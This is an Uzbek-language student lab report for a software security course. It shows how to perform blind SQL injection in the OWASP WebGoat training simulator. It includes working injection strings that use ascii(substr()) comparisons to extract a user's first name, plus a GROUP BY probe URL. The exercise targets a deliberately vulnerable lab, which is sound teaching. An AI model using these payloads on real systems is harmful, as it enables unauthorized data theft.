Dasturiy vositalar xavfsizligi fanidan 2-Topshiriq Bajardi: 715-18 – guruh talabasi Satimov Munisbek Tekshirdi: Tursunov Otabek

sqlinj/index1.php?id=1 GROUP BY 2
Amaliy qism

1. 
   Mantiqiy “ko‘r” ineksiyani yaratish. Buning uchun Owaspweb Goat simulyatoridan foydalaniladi.
   

Dastlab siqilgan faylni oching (WebGoat-OWASP_Standard-5.2.zip)


4.1-rasm. WebGoat-OWASP_Standard-5.2.zip
–Run webgoat.bat (or webgoat_8080.bat) ishga tushuriladi

4.2-rasm. webgoat_8080.bat

–http://localhost/WebGoat/attack (ixtiyoriy brauzer orqali ko‘rsatilgan linkga murojat qilinadi )

4.3-rasm. http://localhost/WebGoat/attack
Id = guest, pw = guest so‘zini kiritamiz va natijada quyidagi oyna paydo bo‘ ladi:

4.3-rasm. Umumiy oyna

Start WebGoat tugmasi orqali quyidagi oyna paydo bo‘ladi, bu yerda kirish, umumiy qoidalar, ruhsatlarni boshqarish qoidalari, injection qoidalari va boshqa qismlardan iborat. Injection Flaws tugmasini bosish orqali uning tarkibiy element funksiyalarini ko‘rishimiz mumkin bo‘ladi.

4.4-rasm. Injection Flaws Injection flaws tarkibiy element funksiyalari

4.1-jadval

Blind SQL Injection quyidagi oyna hosil bo‘ladi va u yerga first_name kattalining uzunligi 6 ga teng bo‘lga ismni toppish talab etiladi, toppish uchun 101 and ((select ascii(substr(first_name,1,1)) from user_data where userid = 15613) >=
74) and ((select ascii(substr(first_name,1,1)) from user_data where userid = 15613)
<= 74) so‘rovini kiritamiz qachonki shartni qanolatlantigunga qadar davom etadi.

4.4-rasm. So‘rov kiritish jarayoni

Yuqoridagi so‘rovdan foydalanib, 15613 raqamli foydalanuvchini first_name ni toping (http://138.25.67.99/AsciiTable.html).
4.5-rasm. ASCII jadvali



KOD: 101 and ((select ascii(substr(first_name,3,1)) from user_data where userid = 15613) >=102) and ((select ascii(substr(first_name,3,1)) from user_data where userid = 15613) <= 122)

Name : Joesph

2.